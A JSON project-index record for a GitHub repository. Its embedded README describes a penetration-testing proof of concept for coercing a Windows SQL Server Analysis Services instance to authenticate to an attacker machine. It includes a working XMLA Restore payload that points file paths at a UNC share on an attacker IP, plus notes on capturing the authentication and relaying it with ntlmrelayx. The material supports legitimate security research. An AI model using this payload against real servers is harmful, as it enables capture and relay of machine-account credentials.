{"id":15002610,"url":"https://github.com/p0dalirius/mssql-analysis-coerce","last_synced_at":"2025-09-03T18:31:36.603Z","repository":{"id":58351102,"uuid":"531028401","full_name":"p0dalirius/MSSQL-Analysis-Coerce","owner":"p0dalirius","description":"A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.","archived":false,"fork":false,"pushed_at":"2023-10-01T21:14:20.000Z","size":2616,"stargazers_count":125,"open_issues_count":0,"forks_count":14,"subscribers_count":3,"default_branch":"main","last_synced_at":"2024-12-20T21:04:09.242Z","etag":null,"topics":["analysis","coerce","mssql","pentest","windows"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/p0dalirius.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null},"funding":{"github":"p0dalirius","patreon":"Podalirius"}},"created_at":"2022-08-31T10:08:05.000Z","updated_at":"2024-12-15T09:27:52.000Z","dependencies_parsed_at":"2024-04-12T20:55:27.753Z","dependency_job_id":null,"html_url":"https://github.com/p0dalirius/MSSQL-Analysis-Coerce","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FMSSQL-Analysis-Coerce","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FMSSQL-Analysis-Coerce/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FMSSQL-Analysis-Coerce/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/p0dalirius%2FMSSQL-Analysis-Coerce/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/p0dalirius","download_url":"https://codeload.github.com/p0dalirius/MSSQL-Analysis-Coerce/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":231907739,"owners_count":18444188,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["analysis","coerce","mssql","pentest","windows"],"created_at":"2024-09-24T18:51:29.630Z","updated_at":"2024-12-30T20:03:35.224Z","avatar_url":"https://github.com/p0dalirius.png","language":"Python","funding_links":["https://github.com/sponsors/p0dalirius","https://patreon.com/Podalirius"],"categories":[],"sub_categories":[],"readme":"# MSSQL Analysis Services - Coerced Authentication\n\n![](./.github/banner.png)\n\nA technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.\n\nThis proof of concept is co-authored by :\n - Podalirius: \u003ca href=\"https://twitter.com/intent/follow?screen_name=podalirius_\" title=\"Follow\"\u003e \u003cimg src=\"https://img.shields.io/twitter/follow/podalirius_?label=Podalirius\u0026style=social\"\u003e\u003c/a\u003e \u003ca href=\"https://www.youtube.com/c/Podalirius_?sub_confirmation=1\" title=\"Subscribe\"\u003e\u003cimg alt=\"YouTube Channel Subscribers\" src=\"https://img.shields.io/youtube/channel/subscribers/UCF_x5O7CSfr82AfNVTKOv_A?style=social\"\u003e\u003c/a\u003e\n - Worty: \u003ca href=\"https://twitter.com/intent/follow?screen_name=_Worty\" title=\"Follow\"\u003e\u003cimg src=\"https://img.shields.io/twitter/follow/_Worty?label=Worty\u0026style=social\"\u003e\u003c/a\u003e\n\n\n## Proof of concept\n\nIn order to trigger the authentification as the local machine account, we need to connect to the remote SQL Server using user credentials:\n\n![](./.github/sql_analysis_connect.png)\n\nThen we will select \"Restore\" to restore the database from a given file.\n\n![](./.github/restore_db.png)\n\nTo generate the XMLA file, put the path to a random file in the \"Backup File\" form, and click Ok.\n\n![](./.github/accessed_xml_script.png)\n\nThen change the path to a random file and replace it with a UNC path to your attacker server (for example `\\\\192.168.128\\SYSVOL\\db.abf`)\n\n![](./.github/unc_path_in_xml_file.png)\n\nProof of concept XMLA query ([poc.xmla](./poc.xmla)):\n\n```xml\n\u003cRestore xmlns=\"http://schemas.microsoft.com/analysisservices/2003/engine\"\u003e\n    \u003cFile\u003e\\\\192.168.2.51\\SYSVOL\\db.abf\u003c/File\u003e\n    \u003cDatabaseName\u003e\\\\192.168.2.51\\SYSVOL\\db.abf\u003c/DatabaseName\u003e\n    \u003cDbStorageLocation xmlns=\"http://schemas.microsoft.com/analysisservices/2008/engine/100/100\"\u003e\\\\192.168.2.51\\SYSVOL\\db.abf\u003c/DbStorageLocation\u003e\n\u003c/Restore\u003e\n```\n\nAnd we get an authentication from the local machine account of the SQL Server:\n\n![](./.github/responder_auth.png)\n\n## Relaying for the win\n\nOnce we got the authentification, we can relay it with `ntlmrelayx` to perform many actions on behalf of the computer `SQL01$`.\n\nThis is cool, but it is complicated to trigger this coerced authentication from a Linux attacking machine as we do not have access to the SQL Server Management Studio (SSMS). \n\n## References\n - https://docs.microsoft.com/en-us/sql/database-engine/install-windows/install-sql-server?view=sql-server-ver15\n - https://social.technet.microsoft.com/wiki/contents/articles/13106.sql-server-frequently-used-ports.aspx\n - https://docs.microsoft.com/en-us/answers/questions/274512/connecting-to-azure-analysis-services-using-python.html\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp0dalirius%2Fmssql-analysis-coerce","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fp0dalirius%2Fmssql-analysis-coerce","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fp0dalirius%2Fmssql-analysis-coerce/lists"}